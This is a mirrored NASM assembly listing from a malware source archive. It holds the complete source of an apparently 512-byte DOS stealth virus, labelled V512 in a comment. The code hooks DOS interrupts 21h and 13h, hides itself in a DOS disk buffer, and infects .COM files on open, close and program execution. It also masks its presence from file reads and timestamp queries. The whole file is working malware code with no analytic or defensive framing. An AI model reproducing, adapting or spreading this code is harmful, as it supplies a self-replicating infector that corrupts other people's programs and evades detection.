mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
313 lines
9.8 KiB
NASM
313 lines
9.8 KiB
NASM
name a
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code1 segment byte
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assume cs:code1,ds:code1
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org 0004h
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D4 = $
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org 0050h
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N50 = $
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org 0100h
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BegAddr = $
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Begin:
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mov si,04h
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mov ds,si
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lds dx,dword ptr [si+08h] ; get addr of int 13h into ds:dx
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mov ah,013h
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int 02fh ; return orig addr of int 13 into ds:dx
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push ds
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push dx
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int 02fh
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pop ax
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mov di,offset BegAddr-8
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stosw ; store orig int13 addr offset
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pop ax
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stosw ; and segment
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mov ds,si
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lds ax,dword ptr [si+040h] ; get addr of int21 into ds:ax
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cmp ax,0117h
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stosw ; store int21 addr offset
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mov ax,ds
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stosw ; and segment
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push es ; really this is prog_begin segment
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push di ; and offset (0100 for .COM)
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jne N130
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shl si,1
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mov cx,01ffh
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rep cmpsb
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je N177
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N130:
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mov ah,052h ; DOS Fn - Get LIST of LISTS
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int 021h
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push es ; return: es:bx - pointer to DOS list of lists
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mov si,0f8h ; here was stored addres of int13
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les di,es:[bx+12h] ; pointer to first disk buffer
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mov dx,es:[di+02] ; pointer to next disk buffer
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mov cx,207h ; VirLen + 8
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rep movs byte ptr es:[di],byte ptr ss:[si] ; Move v512 into
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; first disk buffer
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mov ds,cx ; ds=0
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mov di,016h
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mov word ptr [di+06eh],0117h ; set int21 to this offset
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mov word ptr [di+070h],es ; and segment
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pop ds ; restore pointer to DOS list of lists into ds:bx
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mov word ptr [bx+014h],dx ; set 2-nd disk buffer as first
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; => hide 1-st disk buffer
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mov dx,cs
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mov ds,dx
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mov bx,word ptr [di-014h] ; get top of available system
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; memory in paragraphs
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dec bh ; and decement it
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mov es,bx ; es=last memory segment
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cmp dx,word ptr [di] ; dx=Parents ID ?
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mov ds,word ptr [di] ; ds=PID
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mov dx,word ptr [di] ; dx=Parents PID !!!
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dec dx
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mov ds,dx ; ds=P PID-1 !!!
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mov si,cx ; si=0
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mov dx,di
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mov cl,028h
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rep movsw ; P PID-1:0 -> MemTop-1:16
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mov ds,bx ; ds=MemTop-1
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jb N186 ; ?????
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N177:
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mov si,cx ; si=0
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mov ds,word ptr ss:[si+02ch] ; ds=Segment address of DOS environment
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N17d:
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lodsw
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dec si
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or ax,ax
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jne N17d ; find filespec of THIS file !!!
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lea dx,word ptr [si+03h] ; and move pointer to ds:dx (FoolBoy!)
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N186:
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mov ax,03d00h ; Open a File
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int 021h ; AL Open mode
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; DS:DX Pointer to filename (ASCIIZ string)
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xchg ax,bx
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pop dx
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push dx
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push cs
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pop ds
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push ds
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pop es
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mov cl,02h
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mov ah,03fh
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int 021h ; Read from File or Device, Using a Handle
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; BX File handle
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; CX Number of bytes to read
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; DS:DX Address of buffer
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mov dl,cl
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xchg cl,ch
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mov al,byte ptr ds:BegAddr
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cmp al,byte ptr ds:D2ff
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jne N1a7
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mov ah,03fh
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N1a7:
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jmp N50
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GetFileTblNum:
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push bx
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mov ax,01220h ; get system file table number
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int 02fh ; bx = file handle
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mov bl,byte ptr es:[di] ; = system file table entry number for
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; file handle
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mov ax,01216h ; get address of system fcb
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int 02fh ; bx = system file table number
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; return: ES:DI - system file table entry
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pop bx
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lea di,word ptr [di+015h]
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mov bp,0200h
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ret
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N1c0:
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mov ah,03fh
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N1c2:
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pushf
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push cs
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call N248
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ret
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DOS_ReadFromFile:
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call GetFileTblNum
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mov si,word ptr es:[di]
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call N1c0
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jb N1f7
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cmp si,bp
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jnb N1f7
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push ax
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mov al,byte ptr es:[di-08h]
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not al
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and al,01fh
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jne N1f6
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add si,word ptr es:[di-04h]
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xchg si,word ptr es:[di]
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add word ptr es:[di-04h],bp
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call N1c0
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sub word ptr es:[di-04h],bp
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xchg ax,si
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stosw
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N1f6:
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pop ax
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N1f7:
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pop es
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pop si
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pop di
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pop bp
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boza proc far
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ret 2
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boza endp
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DOS_QueryFileTimeDate: ; AL : 0 to query the time/date of a file
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call N1c2
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D200 = $-1
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lahf
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mov al,cl
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and al,01fh
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cmp al,01fh
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D207 = $-1
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jne N20c
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xor cl,al
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N20c:
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sahf
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jmp N1f6
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Int21Entry:
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push bp
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push di
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push si
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push es
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cld
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mov bp,sp
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mov es,word ptr [bp+0ah]
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mov di,0117h
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mov si,di
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cmps word ptr cs:[si],word ptr es:[di]
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je N244
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cmp ah,03fh ; DOS Fn 3fH: Read from File via Handle
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je DOS_ReadFromFile
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push ax
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cmp ax,05700h ; DOS Fn 57H: Set/Query File Time/Date
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je DOS_QueryFileTimeDate
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cmp ah,03eh ; DOS Fn 3eH: Close a File Handle
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pushf
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push bx
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push cx
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push dx
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push ds
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je DOS_CloseFileHandle
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cmp ax,04b00h ; DOS Fn 4bH: Execute or Load a Program -- EXEC
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je DOS_EXEC
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INT21end:
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pop ds
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pop dx
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pop cx
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pop bx
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popf
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je N1f6
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pop ax
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N244:
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pop es
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pop si
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pop di
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pop bp
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N248:
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jmp dword ptr cs:D4 ; ?????
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DOS_EXEC:
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mov ah,03dh ; DS:DX : address of an ASCIIZ string of a
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int 021h ; filespec
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; AL : Open Mode
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xchg ax,bx
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DOS_CloseFileHandle: ; BX : file handle
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call GetFileTblNum
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jb INT21end ; exit on error
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xor cx,cx
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xchg cx,bp
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mov ds,bp
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mov si,04ch
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lodsw
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push ax
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lodsw
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push ax
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mov ax,02524h ; DOS Fn 25H: Set Interrupt Vector
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push ax
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push word ptr [si+040h]
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push word ptr [si+042h]
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push cs
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pop ds ; AL : interrupt number 24h
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; INT 24H: Critical Error Handler
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mov dx,067h ; DS:DX : interrupt vector - address
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int 021h ; of code to handle an interrupt
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lds dx,dword ptr [si-050h]
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mov al,013h ; AL : interrupt number 13h
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int 021h ; INT 13H: Disk I/O
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push es
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pop ds
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mov word ptr [di],bp
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mov byte ptr [di-013h],ch
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cmp word ptr [di+014h],04d4fh
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jne N2be
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mov dx,word ptr [di-04h]
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add dh,ch
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cmp dh,04h
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jb N2be
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test byte ptr [di-011h],04h
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jne N2be
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lds si,dword ptr [di-0eh]
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cmp byte ptr [si+04h],ch
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jbe N2aa
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dec dx
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shr dh,1
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and dh,byte ptr [si+04h]
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je N2be
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N2aa:
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mov ds,bp
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mov dx,cx
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call N1c0
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mov si,dx
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dec cx
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N2b4:
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lodsb
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cmp al,byte ptr cs:Dfe07[si]
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Dfe07=0fe07h
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jne N2d1
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loop N2b4
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N2be:
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mov ah,03eh
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call N1c2
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pop ds
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pop dx
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pop ax
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int 021h
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N2c8:
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pop ds
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pop dx
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mov al,013h
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int 021h
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N2ce:
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jmp INT21end
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N2d1:
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mov cx,dx
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mov si,word ptr es:[di-04h]
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mov word ptr es:[di],si
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mov ah,040h
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int 021h
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N2de:
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mov al,byte ptr ds:D200
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push es
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pop ds
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mov word ptr [di-04h],si
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mov word ptr [di],bp
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or byte ptr [di-08h],01fh
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push cs
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pop ds
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mov byte ptr ds:D207,al
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mov dx,08h
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mov ah,040h
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int 021h
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N2f8:
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or byte ptr es:[di-0fh],040h
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jmp N2be
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D2ff = $
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N2ff:
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db 0e9h
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org 336h
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N336 proc near
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N336 endp
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code1 ends
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end begin
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